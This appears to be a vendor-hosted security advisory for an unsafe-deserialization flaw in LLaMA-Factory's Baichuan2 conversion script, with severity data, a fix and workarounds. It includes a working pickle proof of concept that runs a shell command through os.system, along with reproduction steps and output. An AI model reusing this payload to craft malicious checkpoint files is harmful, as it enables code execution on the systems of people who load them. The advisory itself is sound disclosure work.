GHSA-f2f7-gj54-6vpv is a medium-severity (CVSS 6.1) Deserialization of Untrusted Data vulnerability in llamafactory. A fix is available for llamafactory — see the affected versions and patch details below.
LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f2f7-gj54-6vpv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-f2f7-gj54-6vpv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
llamafactoryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Description
A critical vulnerability exists in the llamafy_baichuan2.py script of the LLaMA-Factory project. The script performs insecure deserialization using torch.load() on user-supplied .bin files from an input directory. An attacker can exploit this behavior by crafting a malicious .bin file that executes arbitrary commands during deserialization.
Attack Vector
This vulnerability is exploitable without authentication or privileges when a user is tricked into:
- Downloading or cloning a malicious project folder containing a crafted
.binfile (e.g. via zip file, GitHub repo). - Running the provided conversion script
llamafy_baichuan2.py, either manually or as part of an example workflow.
No elevated privileges are required. The user only needs to run the script with an attacker-supplied --input_dir.
Impact
- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments
Proof of Concept (PoC)
# malicious_payload.py
import torch, pickle, os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",)) # Arbitrary command
malicious_data = {
"v_head.summary.weight": MaliciousPayload(),
"v_head.summary.bias": torch.randn(10)
}
with open("value_head.bin", "wb") as f:
pickle.dump(malicious_data, f)
An example of config.json:
{
"model": "value_head.bin",
"hidden_size": 4096,
"num_attention_heads": 32,
"num_hidden_layers": 24,
"initializer_range": 0.02,
"intermediate_size": 11008,
"max_position_embeddings": 4096,
"kv_channels": 128,
"layer_norm_epsilon": 1e-5,
"tie_word_embeddings": false,
"vocab_size": 151936
}
(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
|-- LICENSE
|-- README.md
|-- malicious_folder
| |-- config.json
| `-- value_head.bin
`-- xxxxx(Irrelevant documents omitted)
# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
➡️ Running this will execute the malicious payload and create a HACKED! folder.
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
Load weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s]
Traceback (most recent call last):
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
fire.Fire(llamafy_baichuan2)
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire
component_trace = _Fire(component, args, parsed_flag_args, context, name)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire
component, remaining_args = _CallAndUpdateTrace(
^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace
component = fn(*varargs, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2
save_weight(input_dir, output_dir, shard_size, save_safetensors)
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight
shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load
return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src
'HACKED!' MANIFEST.in README.md assets docker examples out requirements.txt setup.py tests
Affected File(s)
- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35
scripts/convert_ckpt/llamafy_baichuan2.py- Line:
torch.load(os.path.join(input_dir, filepath), map_location="cpu")
Suggested Fix
- Replace
torch.load()with safer alternatives likesafetensors. - Validate and whitelist file types before deserialization.
- Require checksum validation.
Example patch:
# Replace torch.load() with safe deserialization
try:
from safetensors.torch import load_file
tensor_data = load_file(filepath)
except Exception:
print("Invalid or unsafe checkpoint file.")
return
Workarounds
- Avoid running the script with untrusted
.binfiles. - Use containers or VMs to isolate script execution.
References
Credits
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | llamafactory | all versions | 0.9.3pip install --upgrade 'llamafactory==0.9.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for llamafactory, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update llamafactory to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f2f7-gj54-6vpv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-f2f7-gj54-6vpv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-f2f7-gj54-6vpv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f2f7-gj54-6vpv in your dependencies?
O3 Security finds GHSA-f2f7-gj54-6vpv across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.